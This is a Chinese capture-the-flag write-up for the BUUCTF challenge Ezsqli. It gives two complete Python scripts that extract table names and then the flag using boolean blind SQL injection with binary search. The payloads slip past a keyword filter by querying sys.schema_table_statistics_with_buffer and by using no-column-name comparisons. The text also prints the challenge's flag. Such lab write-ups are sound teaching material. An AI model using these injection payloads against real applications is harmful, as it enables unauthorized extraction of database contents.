BUU[GYCTF2020]Ezsqli1
Posted joker-yan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU[GYCTF2020]Ezsqli1相关的知识,希望对你有一定的参考价值。
知识点
布尔盲注以及无列名注入
提示:以下是本篇文章正文内容,下面案例可供参考
一、布尔盲注
在提交部分输入值上传,抓包查看
修改POST传参id的部分值为其他值后
这里就判断出大致使用BOOL盲注来注入
简单的写一段万能SQL语句后
下一步使用字典去fuzz一下,查看有哪些关键词被过滤
查看后发现诸如:or、and、union、information_schema......被过滤了
下一步开始编写python脚本来解决:(附上代码)
注意:这里由于之前fuzz的时候发现information_schema被过滤了,考虑使用其他的关键词,如:这里的sys.schema_table_statistics_with_buffer
先获取表名:
由于BUU上不允许出现频繁地访问网站,所以使用了time函数来进行延时(测试很多次发现time=0.5的时候比较好,既不会发现错误反馈,也不至于太慢),而且使用简单的二分法进行字符匹配。
import requests
import time
url='http://02ae94bd-22a9-48e9-b56e-b481bfb354e9.node4.buuoj.cn/index.php'
post_d={}
def post_text(string):
return requests.post(url=url,data=string).text
tables_name='' #可能网站不稳定,所以有时候运行结果会不一样
for i in range(200):
low = 32
high = 128
mid = (low+high)//2
while low<high:
payload_tables='2^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema)=database()),{0},1))<{1})'.format(i+1,mid)
post_d['id']=payload_tables
re=post_text(post_d)
time.sleep(0.5)
if "Error" in re:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
tables_name += chr(mid-1)
print("tablename is -> "+tables_name)
得到了两个表名:users233333333333333,f1ag_1s_h3r3_hhhhh
二、无列名注入
1.知识点
这里附上一篇更加详细的,关于无列名注入的文章
https://zhuanlan.zhihu.com/p/98206699
这里就不再做叙述了~摸了摸了
2.实现方式
代码如下:
import requests
import time
def post_text(string):
return requests.post(url=url,data=string).text
def get_flag(char,value):
return value+char
url='http://c87a7435-bd7b-47b3-ab95-5723ccc9b527.node4.buuoj.cn/index.php'
post_d={}
value='' #无列名注入使用
for i in range(1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload='2||((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))'.format(get_flag(chr(mid),value))
#print(payload)
post_d['id']=payload
re=post_text(post_d)
time.sleep(0.5)
if "Nu" in re:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
value += chr(mid-1)
print("value is -> "+value)
最后获得表f1ag_1s_h3r3_hhhhh里面的值为:FLAG{33BCFE9A-CB36-40CB-8DBF-83FDE938EBA8~
最后一个“}”可能是网络问题,偶尔是好的~
修改后(要将大写改为小写提交)为:
flag{33bcfe9a-cb36-40cb-8dbf-83fde938eba8}
总结
假期还没开始,小学期做CPU是真的烦啊~,之后可能会将做好的CPU放到这里,留着以后回来看看~~
以上是关于BUU[GYCTF2020]Ezsqli1的主要内容,如果未能解决你的问题,请参考以下文章